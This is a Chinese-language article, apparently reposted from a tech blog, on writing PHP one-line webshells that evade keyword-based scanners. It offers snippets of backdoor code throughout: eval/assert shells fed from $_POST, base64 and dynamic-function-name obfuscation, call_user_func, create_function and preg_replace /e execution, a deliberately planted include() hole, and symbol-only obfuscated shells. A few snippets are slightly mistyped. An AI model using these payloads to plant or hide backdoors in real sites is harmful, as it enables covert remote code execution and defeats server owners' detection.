0*00 前言
大部分 webshell 查杀工具都是基于关键字特征的, 通常他们会维护一个关键字列表, 以此遍历指定扩展名的文件来进行扫描, 所以可能最先想到的是各种字符串变形, 下面总结了一些小的方法, 各种不足之前还请看官拍砖.
0*01 字符串上的舞蹈
一般标准的一句话 Webshell 是利用 PHP 的 eval 函数, 动态执行其他函数功能. 其标准的形式如下:
@eval ($_POST[xxxxx]);
很明显的 eval 会成为静态特征码 Webshell 扫描工具的关键字. 加上一点小技巧, 我们让其动态传入, 或者利用 base64 等编码函数来进行绕过
- @$_GET[a]($_POST[xxxxx]);
- or @base64_decode(base64 编码过的 eval)
当然, 扫一眼 PHP 手册, 玩转字符串的函数远不止这些, 你可以写一个自定义加解密的函数, 或者利用 xor, 字符串反转, 压缩, 截断重组等方法来绕过.
另外大多数 Webshell 的查杀工具很少把 assert 函数加入到关键字列表中, 不过随着使用的人越来越多也不是绝对的, 我们也可以用 assert 替换 eval 来执行猥琐的功能.
以前在 ASP 一句话 Webshell 的变形过程中, 打乱和拆分文件也是非常常用的功能, 这里也记一笔. 用 require,include 等将字符串拆分再重组. 或者将加密好的字符串单独放在任意扩展名文件中, 利用解密函数读取文件来执行, 这里写一个 base64 比较简单的例子 file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de)); 字符串的各种猥琐还是很多的, 最致命的地方是, 如果有基于语义分析的查杀工具露面 (我印象中是有的) 这些都完蛋
0*02 利用 PHP 函数的一些特性
这一小段其实还是建立在玩转了字符串的基础上的, 一个小例子 if(key($_GET)=='xxxxxx') call_user_func($_GET[xxx],$_POST[evil]); 好吧, 我承认这有点换汤不换药, 这种类型的就是遇到 WAF 都挂 b, 因为基本上都是基于动态传入参数的, 然后利用 PHP 函数换了个形式执行而已, 最终还是调用 eval, 下面是一个小小的延伸
$x=create_function(",$_GET[x]); $x();
再扫一眼 PHP 手册, 我们在《高级 PHP 漏洞审计》读到过还有其他一些带有执行功能的函数, 比如经常用的 preg_replace 加 / e 参数的黄金组合, 这类一句话 Webshell 也算是比较常见的了. 总结起来他们可以算作是人为的构造一些 PHP 代码上的漏洞. 比如
- $f=$_GET[x];
- include($f);
这样构造一个包含漏洞出来, 或者
$s= copy,movefile ; //.... etc
$s(参数调用)比如 copy($_FILES[t][src],$_FILES[t][dst]);
利用一些文件操作函数来猥琐一些小动作, 再或者来个 preg_replace 执行漏洞的经典例子
- $t= prege_replace;
- $t("/[xxx]/e",$_POST[x],"Hah!~");
这一方面能发散的地方还有很多, 还是得多瞅瞅 PHP 手册, 因为 PHP 的相关函数真是太猥琐了.
0*03 利用 PHP 的一些魔法特性
不知道能不能把 PHP 的多态性叫做魔法特性, 错误之处还请指出. 看过 Ryat 和 Qz 牛的文章后会更好理解, 老外给过一个经典的例子
- ($_=@$_GET[2]).@$_($_POST[1]);
- and
- $_="";
- $_[+""]=";
- $_="$_"."";
- $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
- or
- ${
- '_'.$_
- }['_'](${
- '_'.$_
- }['__']);
当然我们实际不会这么去写, 因为管理员瞅一眼就明白你是要做坏事了. 这其中也结合了移位运算等, 算是写得很花哨了 --~
经常用 MVC 之类的框架搞开发, 都能发现__autoload 函数的好处, 自己文件名去 new 一个类, 然后在类中你可以在构造函数做点手脚什么的, 而这一类函数在 PHP 中也是有不少的, 我们可以猥琐一下加以利用.
另外常见的 ob_start 等利用 PHP 函数的回调特性也是有的, 其实觉得应该把这个分类放到上一小节, 之前和 wulin 牛也讨论过这种方式加密过的马的解密, 不过现在大多数 Webshell 查杀工具都应该把它加到关键字了吧.
0*04 未完结
我一直相信还有更加猥琐的方式等等, 攻防对立, 也可以参考 核攻击 大牛在其 lcx.cc 上发布的讨论怎么从一万多个文件中快速定位 Webshell 来见招拆招. 引用黑防之前一句很装 13 的话作为结语: 在攻与防的对立中寻求统一. 欢迎更多同学加入讨论~
来源: http://www.bubuko.com/infodetail-2854104.html